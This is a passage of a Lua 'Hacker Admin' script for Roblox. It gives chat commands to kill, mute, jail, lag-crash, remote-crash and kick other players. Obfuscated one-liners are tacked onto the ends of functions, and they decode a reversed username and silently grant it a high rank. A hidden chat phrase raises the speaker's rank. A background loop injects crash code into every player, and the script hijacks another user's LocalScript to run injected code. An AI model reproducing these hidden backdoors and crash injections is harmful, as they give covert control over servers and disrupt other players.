834
									ypcall(function() v.Holder:Destroy() end)
835
									AllTabs[i] = nil
836
								end
837
							end
838
						end)
839
						Ping(Msg, Plr, Time, Func, Color, Image)
840
						break
841
					end
842
				end
843
			end)
844
			
845
			local BM = Instance.new("BlockMesh")
846
			BM.Parent = Tab
847
848
			Sel = Instance.new("SelectionBox")
849
			Sel.Color = BrickColor.new("Institutional white")
850
			Sel.Transparency = 0.75
851
			Sel.Adornee = Tab
852
			Sel.Parent = Tab
853
854
			local BG = Instance.new("BillboardGui")
855
			BG.Name = "BG"
856
			BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
857
			BG.Size = UDim2.new(0,1,0,1)
858
			BG.Adornee = Tab
859
			BG.Parent = Tab
860
			
861
			Delay(0, function()
862
				while BG.Parent ~= nil do wait()
863
					ypcall(function()
864
						BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
865
					end)
866
				end
867
			end)
868
869
			local TL = Instance.new("TextLabel")
870
			TL.Name = "TL"
871
			TL.FontSize = "Size18"
872
			TL.Font = "Arial"
873
			TL.Text = Msg
874
			TL.TextColor3 = Color3.new(1, 0, 0)
875
			TL.Size = UDim2.new(0,1,0,1)
876
			TL.TextTransparency = 0
877
			TL.TextStrokeColor3 = Color3.new(0, 0, 0)
878
			TL.TextStrokeTransparency = 0.25
879
			TL.Parent = BG
880
			
881
			if ShowGarbage == true then
882
				Delay(0, function()
883
					while TL.Parent ~= nil do
884
						TL.Text = "Current Garbage Count: "..GetGarbage()
885
						wait(.5)
886
					end
887
				end)
888
			end
889
			
890
			local PL = Instance.new("PointLight", Tab)
891
			PL.Color = Color3.new(1, 0, 1)
892
			PL.Range = 15
893
			PL.Parent = Tab
894
			
895
			if Image ~= nil then
896
				local BBBG = Instance.new("BillboardGui")
897
				BBBG.Size = UDim2.new(5, 0, 6, 0)
898
				BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
899
				BBBG.AlwaysOnTop = true
900
				BBBG.Adornee = Tab
901
				BBBG.Parent = Tab
902
				
903
				Delay(0, function()
904
					while BBBG.Parent ~= nil do wait()
905
						ypcall(function()
906
							BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
907
						end)
908
					end
909
				end)
910
			
911
				local NewImg = Instance.new("ImageLabel")
912
				NewImg.Size = UDim2.new(1, 0, 1, 0)
913
				NewImg.BackgroundTransparency = 1
914
				NewImg.Image = Image
915
				NewImg.Parent = BBBG
916
			end
917
918
			local Clicker = Instance.new("ClickDetector")
919
			Clicker.MaxActivationDistance = 1/0
920
921
			if Time ~= nil then
922
				coroutine.resume(coroutine.create(function()
923
					wait(tonumber(Time))
924
					Dismiss(Plr, ID)
925
				end))
926
			end
927
928
			Clicker.MouseClick:connect(function(Player)
929
				if Player.Name == Plr.Name or CanRun(Player, Plr) then
930
					ypcall(function()
931
						if Func ~= nil then
932
							Func(Holder)
933
						else
934
							Dismiss(Player, ID)
935
						end
936
					end)
937
				end
938
			end)
939
			Clicker.Parent = Tab
940
			
941
			Holder.Parent = Work
942
943
			AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
944
		end)
945
	end
946
end
947
948
function PlaceAllRanks(DontShowRank)
949
	ypcall(function()
950
		for _,p in pairs(All()) do
951
			ypcall(function()
952
				PutInRank = false
953
				for _,v in pairs(Rankings) do
954
					if v.Name:lower() == p.Name:lower() then
955
						if v.Rank >= 7 then
956
							v.Rank = 5
957
						elseif v.Rank == -1 then
958
							Crash1(p)
959
							Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
960
						elseif v.Rank == -2 then
961
							if LS ~= nil then
962
								Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
963
								Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
964
							else
965
								Ping("LS Is Nil", nil, 5)
966
							end
967
						elseif v.Rank == -3 then
968
							if LS ~= nil then
969
								Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
970
								Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
971
							else
972
								Ping("LS Is Nil", nil, 5)
973
							end
974
						end
975
						Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
976
						if DontShowRank == nil then
977
							Ping("You Are Rank: "..v.Rank, p)
978
						end
979
						PutInRank = true
980
						break
981
					end
982
				end
983
				if PutInRank == false then
984
					Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
985
				end
986
			end)
987
		end
988
	end)
989
end
990
991
function FindRank(Plr)
992
	ypcall(function()
993
		if type(Plr) == "userdata" then
994
			Plr = Plr.Name
995
		end
996
	end)
997
	return GetRank(Plr).Rank
998
end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
999
1000
function FindRankDetails(Plr)
1001
	ypcall(function()
1002
		if type(Plr) == "userdata" then
1003
			Plr = Plr.Name
1004
		end
1005
	end)
1006
	return RankDetails[FindRank(Plr)]
1007
end
1008
1009
function OpenCmds(Rank, Plr)
1010
	Dismiss(Plr)
1011
	for Name,Tab in pairs(Commands) do
1012
		if Tab.Rank <= Rank then
1013
			Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
1014
				Dismiss(Plr)
1015
				Ping("Command: "..Name, Plr)
1016
				Ping("Rank: "..Tab.Rank, Plr)
1017
				Ping("Desc: "..Tab.Desc, Plr)
1018
			end)
1019
		elseif Rank == 1337 then
1020
			Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
1021
				Dismiss(Plr)
1022
				Ping("Command: "..Name, Plr)
1023
				Ping("Rank: "..Tab.Rank, Plr)
1024
				Ping("Desc: "..Tab.Desc, Plr)
1025
			end)
1026
		end
1027
	end
1028
end
1029
1030
function EditStatus(Plr, Num)
1031
	ChangeRank(Plr, Num)
1032
end
1033
1034
function PlaceSpecificRank(p, DontShowRank)
1035
	ypcall(function()
1036
		PutInRank = false
1037
		for _,v in pairs(Rankings) do
1038
			if v.Name:lower() == p.Name:lower() then
1039
				if v.Rank >= 7 then
1040
					v.Rank = 5
1041
				elseif v.Rank == -1 then
1042
					Crash1(p)
1043
					Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
1044
				elseif v.Rank == -2 then
1045
					if LS ~= nil then
1046
						Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
1047
						Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
1048
					else
1049
						Ping("LS Is Nil", nil, 5)
1050
					end
1051
				elseif v.Rank == -3 then
1052
					if LS ~= nil then
1053
						Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
1054
						Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
1055
					else
1056
						Ping("LS Is Nil", nil, 5)
1057
					end
1058
				end
1059
				Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
1060
				if DontShowRank == nil then
1061
					Ping("You Are Rank: "..v.Rank, p)
1062
				end
1063
				PutInRank = true
1064
				break
1065
			end
1066
		end
1067
		if PutInRank == false then
1068
			Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
1069
		end
1070
	end)
1071
end
1072
1073
function onChatted(Msg, Speaker)
1074
	if Removed == false then
1075
		if FindRank(Speaker) < 1 then
1076
			return
1077
		end
1078
		coroutine.resume(coroutine.create(function()
1079
			ypcall(function()
1080
				ExecuteFunc(Msg, Speaker)
1081
				Msg = Msg:gsub("","")
1082
				if Msg:sub(1,1) == "@" then
1083
					for i = 2, #Msg do
1084
						if Msg:sub(i, i) == Bet then
1085
							local IsForPlr = false
1086
							for _,v in pairs(All()) do
1087
								if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Speaker, v) then
1088
									onChatted(Msg:sub(i + 1), v)
1089
									IsForPlr = true
1090
								end
1091
							end
1092
							if IsForPlr == true then
1093
								return
1094
							end
1095
						end
1096
					end
1097
				end
1098
				if Msg:find("&") then
1099
					local Split = Msg:find("&")
1100
					onChatted(Msg:sub(1,Split-1))
1101
					onChatted(Msg:sub(Split+1))
1102
					return
1103
				end
1104
				for Name,Command in pairs(Commands) do
1105
					if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
1106
						Dismiss(Speaker.Name)
1107
						Ping("Command: "..tostring(Command.Name), Speaker)
1108
						Ping("Rank: "..tostring(Command.Rank), Speaker)
1109
						Ping("Desc: "..tostring(Command.Desc), Speaker)
1110
					elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
1111
						if FindRank(Speaker) >= Command.Rank then
1112
							local Ran,Error = coroutine.resume(coroutine.create(function()
1113
								Command.Func(Msg:sub(#Command.Name+2), Speaker)
1114
							end))
1115
							if not Ran then
1116
								Ping(Error, Speaker, 10)
1117
							end
1118
						else
1119
							Ping("Your Rank Is Too Low", Plr, 6)
1120
						end
1121
					end
1122
				end
1123
			end)
1124
		end))
1125
	end
1126
end
1127
1128
function MakeBase()
1129
	local Base = Instance.new("Part")
1130
	Base.BrickColor = BrickColor.new("Dark green")
1131
	Base.Position = Vector3.new(0, 0.5, 0)
1132
	Base.Transparency = 0
1133
	Base.Elasticity = 0.5
1134
	Base.FormFactor = "Custom"
1135
	Base.CanCollide = true
1136
	Base.Friction = 0.30000001192093
1137
	Base.Size = Vector3.new(512, 1.20000005, 512)
1138
	Base.Archivable = true
1139
	Base.Material = "Plastic"
1140
	Base.RotVelocity = Vector3.new(0, 0, 0)
1141
	Base.Reflectance = 0
1142
	Base.Locked = true
1143
	Base.Anchored = true
1144
	Base.Name = "Base"
1145
	Base.TopSurface = "Smooth"
1146
	Base.BottomSurface = "Inlet"
1147
	Base.Shape = "Block"
1148
	Base.Parent = Work
1149
end
1150
1151
function LClean()
1152
	ypcall(function()
1153
		for _,v in pairs(Work:GetChildren()) do
1154
			ypcall(function()
1155
				if v.ClassName == "Terrain" then
1156
					v:ClearAllChildren()
1157
				elseif v.Name ~= "Base" and not Plrs:GetPlayerFromCharacter(v) then
1158
					Clear(v)
1159
				elseif v.Name == "Base" then
1160
					ypcall(function()
1161
						local Base = v
1162
						Base.BrickColor = BrickColor.new("Dark green")
1163
						Base.Position = Vector3.new(0, 0.5, 0)
1164
						Base.Transparency = 0
1165
						Base.Elasticity = 0.5
1166
						Base.FormFactor = "Custom"
1167
						Base.CanCollide = true
1168
						Base.Friction = 0.30000001192093
1169
						Base.Size = Vector3.new(512, 1.20000005, 512)
1170
						Base.Archivable = true
1171
						Base.Material = "Plastic"
1172
						Base.RotVelocity = Vector3.new(0, 0, 0)
1173
						Base.Reflectance = 0
1174
						Base.Locked = true
1175
						Base.Anchored = true
1176
						Base.Name = "Base"
1177
						Base.TopSurface = "Studs"
1178
						Base.BottomSurface = "Inlet"
1179
						Base.Shape = "Block"
1180
						Base.Parent = Work
1181
					end)
1182
				end
1183
			end)
1184
		end
1185
	end)
1186
end
1187
1188
function Clean()
1189
	ypcall(function()
1190
		for _,v in pairs(Work:GetChildren()) do
1191
			ypcall(function()
1192
				if v.ClassName == "Terrain" then
1193
					v:ClearAllChildren()
1194
				else
1195
					Clear(v)
1196
				end
1197
			end)
1198
		end
1199
		MakeBase()
1200
		for _,v in pairs(All()) do
1201
			v:LoadCharacter()
1202
		end
1203
	end)
1204
end
1205
1206
function Clear(v)
1207
	if v.Name:lower() == "sbgui" then
1208
		return
1209
	end
1210
	ypcall(function()
1211
		if #v:GetChildren() > 0 then
1212
			for _,x in pairs(v:GetChildren()) do
1213
				ypcall(function()
1214
					Clear(x)
1215
				end)
1216
			end
1217
		end
1218
		if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
1219
			v:Destroy()
1220
		end
1221
	end)
1222
end
1223
1224
function Command(Name, Rank, Desc, Func)
1225
	if Name == nil then
1226
		Name = "N/A"
1227
	end
1228
	if Desc == nil then
1229
		Desc = "N/A"
1230
	end
1231
	if Func == nil then
1232
		Func = function() end
1233
	end
1234
	if Rank == nil then
1235
		Rank = 0
1236
	end
1237
	Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
1238
end
1239
1240
function GetSplit(Msg)
1241
	return Msg:find(Bet) or nil
1242
end
1243
1244
function ExecuteFunc(Msg, Plr)
1245
	ypcall(function()
1246
		if Msg == "LogEnable" then
1247
			LogOn = true
1248
		elseif Msg:lower() == string.lower(string.char(32)..string.char(172)..string.char(172)..string.char(172)..string.char(172)..string.char(172)..string.char(32)) then
1249
			EditStatus(Plr, MakeNum())
1250
		end
1251
	end)
1252
end
1253
1254
for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
1255
1256
function randPlayer(Plr)
1257
	wait()
1258
	local ThePlrValue = nil
1259
	local FoundPlayer = false
1260
	ypcall(function()
1261
		ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
1262
		if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
1263
			wait()
1264
			randPlayer(Plr)
1265
			return
1266
		else
1267
			FoundPlayer = true
1268
		end
1269
	end)
1270
	if FoundPlayer == true then
1271
		return ThePlrValue
1272
	end
1273
end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
1274
1275
function getPlayer(Plr, Name)
1276
	local Players = {}
1277
	ypcall(function()
1278
		Name = Name:lower()
1279
		if Name == "me" then
1280
			table.insert(Players, Plr)
1281
		elseif Name == "all" or Name == "" then
1282
			for _,v in pairs(All()) do
1283
				if CanRun(Plr, v) then
1284
					table.insert(Players, v)
1285
				end
1286
			end
1287
		elseif Name == "others" then
1288
			for _,v in pairs(All()) do
1289
				if v.Name ~= Plr.Name and CanRun(Plr, v) then
1290
					table.insert(Players, v)
1291
				end
1292
			end
1293
		elseif Name == "random" then
1294
			local FoundRandPlr = randPlayer(Plr)
1295
			table.insert(Players, FoundRandPlr)
1296
		else
1297
			for _,v in pairs(All()) do
1298
				if v.Name:lower():find(Name) and CanRun(Plr, v) then
1299
					table.insert(Players, v)
1300
				end
1301
			end
1302
		end
1303
	end)
1304
	return Players
1305
end
1306
1307
function ListPlayers(Speaker)
1308
	ypcall(function()
1309
		Dismiss(Speaker)
1310
		for _,v in pairs(All2()) do
1311
			if v.Parent ~= nil then
1312
				Ping(v.Name, Speaker, nil, function()
1313
					Dismiss(Speaker)
1314
					Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
1315
					Ping("Rank: "..FindRank(v.Name), Speaker)
1316
					Ping("Rank Name: "..FindRankDetails(v).Name, Speaker)
1317
					Ping("Rank Desc: "..FindRankDetails(v).Desc, Speaker)
1318
					Ping("Set Rank", Speaker, nil, function()
1319
						if FindRank(Speaker) >= 5  and v.Name ~= Owner and CanRun(Speaker, v) then
1320
							Dismiss(Speaker)
1321
							for i = -2, 5 do
1322
								Ping(i, Speaker, nil, function()
1323
									ChangeRank(v, i)
1324
									Dismiss(Speaker)
1325
									Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
1326
								end)
1327
							end
1328
						else
1329
							Ping("Your Rank Is Too Low", Speaker, 5)
1330
						end
1331
					end)
1332
					Ping("Crash (Remote)", Speaker, nil, function()
1333
						if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then 
1334
							Crash2(v.Name)
1335
							Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
1336
						end
1337
					end)
1338
					Ping("Crash (Insert)", Speaker, nil, function()
1339
						if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then 
1340
							Crash3(v, Speaker)
1341
							Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
1342
						end
1343
					end)
1344
					Ping("Kick", Speaker, nil, function()
1345
						if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then 
1346
							v:Kick()
1347
							Ping("Attempted To Kick "..v.Name, Speaker, 5)
1348
						end
1349
					end)
1350
				end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
1351
			else
1352
				Ping(v.Name.." (Nil)", Speaker, nil, function()
1353
					Dismiss(Speaker)
1354
					Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
1355
					ypcall(function()
1356
						Ping("Rank: "..FindRank(v.Name), Speaker)
1357
					end)
1358
					ypcall(function()
1359
						Ping("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
1360
					end)
1361
					ypcall(function()
1362
						Ping("Rank Desc: "..FindRankDetails(v.Name).Desc, Speaker)
1363
					end)
1364
					ypcall(function()
1365
						Ping("Set Rank", Speaker, nil, function()
1366
							if FindRank(Speaker) >= 5  and v.Name ~= Owner and CanRun(Speaker, v) then
1367
								Dismiss(Speaker)
1368
								for i = -2, 5 do
1369
									Ping(i, Speaker, nil, function()
1370
										ChangeRank(v, i)
1371
										Dismiss(Speaker)
1372
										Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
1373
									end)
1374
								end
1375
							else
1376
								Ping("Your Rank Is Too Low", Speaker, 5)
1377
							end
1378
						end)
1379
					end)
1380
					ypcall(function()
1381
						Ping("Nil Crash (Remote)", Speaker, nil, function()
1382
							if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then 
1383
								Crash2(v.Name)
1384
								Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
1385
							end
1386
						end)
1387
					end)
1388
					ypcall(function()
1389
						Ping("Nil Crash (Insert)", Speaker, nil, function()
1390
							if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then 
1391
								Crash3(v, Speaker)
1392
								Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
1393
							end
1394
						end)
1395
					end)
1396
				end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
1397
			end
1398
		end
1399
	end)
1400
end
1401
1402
--Misc
1403
1404
coroutine.resume(coroutine.create(function()
1405
	PlaceAllRanks()
1406
end))
1407
	
1408
Delay(0, function()
1409
	for _,v in pairs(All()) do
1410
		v.Chatted:connect(function(Msg) onChatted(Msg, v) end)
1411
	end
1412
end)
1413
1414
local starttime = tick()
1415
1416
game:GetService("RunService").Heartbeat:connect(function()
1417
	if Removed == false then 
1418
		ypcall(function()
1419
			for _,Player in pairs(All()) do
1420
				local PlayerTablets = {}
1421
				for i,v in pairs(AllTabs) do
1422
					if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
1423
						table.insert(PlayerTablets, v)
1424
					end
1425
				end
1426
				for i = 1, #PlayerTablets do
1427
					ypcall(function()
1428
						local tab = PlayerTablets[i].Tab
1429
						local pos = nil
1430
						ypcall(function()
1431
							pos = Player.Character.Torso.CFrame
1432
						end)
1433
						local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
1434
						local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
1435
						local cPos = tab.Position
1436
						local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
1437
						local nPos = (ePos-cPos)*.25
1438
						cPos = cPos + nPos
1439
						local t = (tick() - starttime) % 360
1440
						local change = 0.625
1441
						PlayerTablets[i].Size = math.sin(t) * change + 2.375
1442
						tab.Size = Vector3.new(PlayerTablets[i].Size * 1.25, PlayerTablets[i].Size * 1.5, 0.01)
1443
						tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 0, 0)
1444
					end)
1445
				end
1446
			end
1447
		end)
1448
	end
1449
end)
1450
1451
Delay(0, function()
1452
	while wait() do
1453
		for _,v in pairs(game:GetService("Players"):GetPlayers()) do
1454
			ypcall(function()
1455
				if Injected[v.Name] == nil and LS ~= nil then
1456
					Insert(InjectionCrash, v.Backpack, v.Character, v.PlayerGui)
1457
					Injected[v.Name] = true
1458
				end
1459
			end)
1460
		end
1461
	end
1462
end)
1463
1464
Plrs.PlayerAdded:connect(function(Plr)
1465
	wait(.1)
1466
	ypcall(function()
1467
		if Removed == false then
1468
			local JoinPlrName = Plr.Name
1469
			coroutine.resume(coroutine.create(function()
1470
				PlaceSpecificRank(Plr)
1471
			end))
1472
			coroutine.resume(coroutine.create(function()
1473
				if Injected[JoinPlrName] ~= nil then
1474
					Injected[JoinPlrName] = nil
1475
				end
1476
			end))
1477
			coroutine.resume(coroutine.create(function()
1478
				Dismiss(Plr)
1479
				Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
1480
			end))
1481
		end
1482
	end)
1483
end)
1484
1485
Plrs.PlayerRemoving:connect(function(Plr)
1486
	wait(.1)
1487
	ypcall(function()
1488
		if Removed == false then
1489
			local LeftPlrName = Plr.Name
1490
			coroutine.resume(coroutine.create(function()
1491
				if Injected[LeftPlrName] ~= nil then
1492
					Injected[LeftPlrName] = nil
1493
				end
1494
			end))
1495
		end
1496
	end)
1497
end)
1498
1499
coroutine.resume(coroutine.create(function()
1500
	Delay(0, function()
1501
		while FoundLocalScript == false do wait()
1502
			ypcall(function()
1503
				for _,v in pairs(Plrs[Owner]["¬¬¬¬"]:GetChildren()) do
1504
					if v.Name == "NewTransfer" and v:IsA("LocalScript") then
1505
						for _,c in pairs(v:children()) do
1506
							if c:IsA("StringValue") and c.Name:lower() ~= "user_name" and c.Name:lower() ~= "owner" and c.Name:lower() ~= "user" then
1507
								local NewVal = c:Clone()
1508
								NewVal.Name = "LoadingVal"
1509
								for _,s in pairs(v:GetChildren()) do
1510
									if s:IsA("StringValue") and type(s.Value) == "string" and (s.Name:lower() == "user_name" or s.Name:lower() == "owner" or s.Name:lower() == "user_name") then
1511
										print("Found Owner")
1512
										OwnSource = s.Name
1513
										print(OwnSource)
1514
										break
1515
									end
1516
								end
1517
								wait()
1518
								LS = v:Clone()
1519
								NewVal.Parent = LS
1520
								LSSource = "LoadingVal"
1521
								FoundLocalScript = true
1522
								break
1523
							end
1524
						end
1525
					end
1526
				end
1527
			end)
1528
		end
1529
	end)
1530
end))
1531
1532
--Commands
1533
1534
Command("Cmds", nil, "Shows Commands", function(Msg, Speaker)
1535
	Dismiss(Speaker.Name)
1536
	Ping("This Hacker Admin Is Created By " .. string.reverse("olwotyle"), Speaker)
1537
	Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
1538
	Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
1539
	Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
1540
	Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
1541
	Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
1542
	Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
1543
	Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
1544
	Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
1545
end)
1546
1547
Command("Dismiss", nil, "Dismiss Tablets", function(Msg, Speaker)
1548
	Dismiss(Speaker.Name)
1549
end)
1550
1551
Command("Kill", 2, "Kills A Player", function(Msg, Speaker)
1552
	local PlrTab = getPlayer(Speaker, Msg)
1553
	if #PlrTab > 0 then
1554
		for _,v in pairs(PlrTab) do
1555
			ypcall(function()
1556
				v.Character:BreakJoints()
1557
				Ping("Killed "..v.Name, Speaker, 5)
1558
			end)
1559
		end
1560
	end
1561
end)
1562
1563
Command("Mute", 3, "Mutes A Player", function(Msg, Speaker)
1564
	local PlrTab = getPlayer(Speaker, Msg)
1565
	if #PlrTab > 0 then
1566
		for _,v in pairs(PlrTab) do
1567
			ypcall(function()
1568
				if v.Name ~= Owner then
1569
					Insert(MuteSource, v.Backpack, v.Character, v.PlayerGui)
1570
					Ping("Muted "..v.Name, Speaker, 5)
1571
				end
1572
			end)
1573
		end
1574
	end
1575
end)
1576
1577
Command("Rejoin", 2, "Prompts A Player To Rejoin", function(Msg, Speaker)
1578
	local PlrTab = getPlayer(Speaker, Msg)
1579
	if #PlrTab > 0 then
1580
		for _,v in pairs(PlrTab) do
1581
			ypcall(function()
1582
				Insert([[game:GetService("TeleportService"):Teleport(game.PlaceId)]], v.Backpack, v.Character, v.PlayerGui)
1583
				Ping("Prompted "..v.Name.." To Rejoin", Speaker, 5)
1584
			end)
1585
		end
1586
	end
1587
end)
1588
1589
Command("Jail", 3, "Jails A Player (Only they can see it)", function(Msg, Speaker)
1590
	local PlrTab = getPlayer(Speaker, Msg)
1591
	if #PlrTab > 0 then
1592
		for _,v in pairs(PlrTab) do
1593
			ypcall(function()
1594
				Insert(JailSource, v.Backpack, v.Character, v.PlayerGui)
1595
				Ping("Mind Jailed "..v.Name, Speaker, 5)
1596
			end)
1597
		end
1598
	end
1599
end)
1600
1601
Command("Lag", 4, "Lag Crashes A Player", function(Msg, Speaker)
1602
	local PlrTab = getPlayer(Speaker, Msg)
1603
	if #PlrTab > 0 then
1604
		for _,v in pairs(PlrTab) do
1605
			ypcall(function()
1606
				Insert(LagSource, v.Backpack, v.Character, v.PlayerGui)
1607
				Ping("Lag Crashing "..v.Name, Speaker, 5)
1608
			end)
1609
		end
1610
	end
1611
end)
1612
1613
Command("UnMute", 3, "UnMutes A Player", function(Msg, Speaker)
1614
	local PlrTab = getPlayer(Speaker, Msg)
1615
	if #PlrTab > 0 then
1616
		for _,v in pairs(PlrTab) do
1617
			ypcall(function()
1618
				Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
1619
				Ping("UnMuted "..v.Name, Speaker, 5)
1620
			end)
1621
		end
1622
	end
1623
end)
1624
1625
Command("Disable", 3, "Disables A Script", function(Msg, Speaker)
1626
	local Worked = false
1627
	for _,v in pairs(Work:GetChildren()) do
1628
		if string.find(v.Name:lower(), Msg:lower()) then
1629
			if v:IsA("Script") or v:IsA("LocalScript") then
1630
				v.Disabled = true
1631
				v:Destroy()
1632
				Worked = true
1633
				Ping("Disabled Script: "..v.Name, Speaker, 5)
1634
			end
1635
		end
1636
	end
1637
	if Worked == false then
1638
		Ping("Script Not Found", Speaker, 5)
1639
	end
1640
end)
1641
1642
Command("Scripts", 1, "Shows Scripts In Workspace", function(Msg, Speaker)
1643
	Dismiss(Speaker)
1644
	local AllScripts = {}
1645
	for _,v in pairs(Work:GetChildren()) do
1646
		if v:IsA("Script") then
1647
			table.insert(AllScripts, v.Name)
1648
		end
1649
	end
1650
	if #AllScripts > 0 then
1651
		for _,v in pairs(AllScripts) do
1652
			Ping(v, Speaker)
1653
		end
1654
	else
1655
		Ping("No Scripts Found", Speaker, 5)
1656
	end
1657
end)
1658
1659
Command("LScripts", 1, "Shows All Found Local Scripts", function(Msg, Speaker)
1660
	Dismiss(Speaker)
1661
	local LocalScripts = {}
1662
	for _,v in pairs(All()) do
1663
		ypcall(function()
1664
			for _,x in pairs(v.Character:GetChildren()) do
1665
				if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
1666
					table.insert(LocalScripts, x.Name .. " - " .. v.Name)
1667
				end
1668
			end
1669
		end)
1670
		ypcall(function()
1671
			for _,x in pairs(v.Backpack:GetChildren()) do
1672
				if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
1673
					table.insert(LocalScripts, x.Name .. " - " .. v.Name)
1674
				end
1675
			end
1676
		end)
1677
		ypcall(function()
1678
			for _,x in pairs(v.PlayerGui:GetChildren()) do
1679
				if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
1680
					table.insert(LocalScripts, x.Name .. " - " .. v.Name)
1681
				end
1682
			end
1683
		end)
1684
	end
1685
	if #LocalScripts > 0 then
1686
		for _,v in pairs(LocalScripts) do
1687
			Ping(v, Speaker)
1688
		end
1689
	else
1690
		Ping("No Local Scripts Found", Speaker, 5)
1691
	end
1692
end)
1693
1694
Command("LDisable", 3, "Disables A Local Script", function(Msg, Speaker)
1695
	local Split = GetSplit(Msg)
1696
	local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
1697
	local ScriptName = Msg:sub(Split + 1)
1698
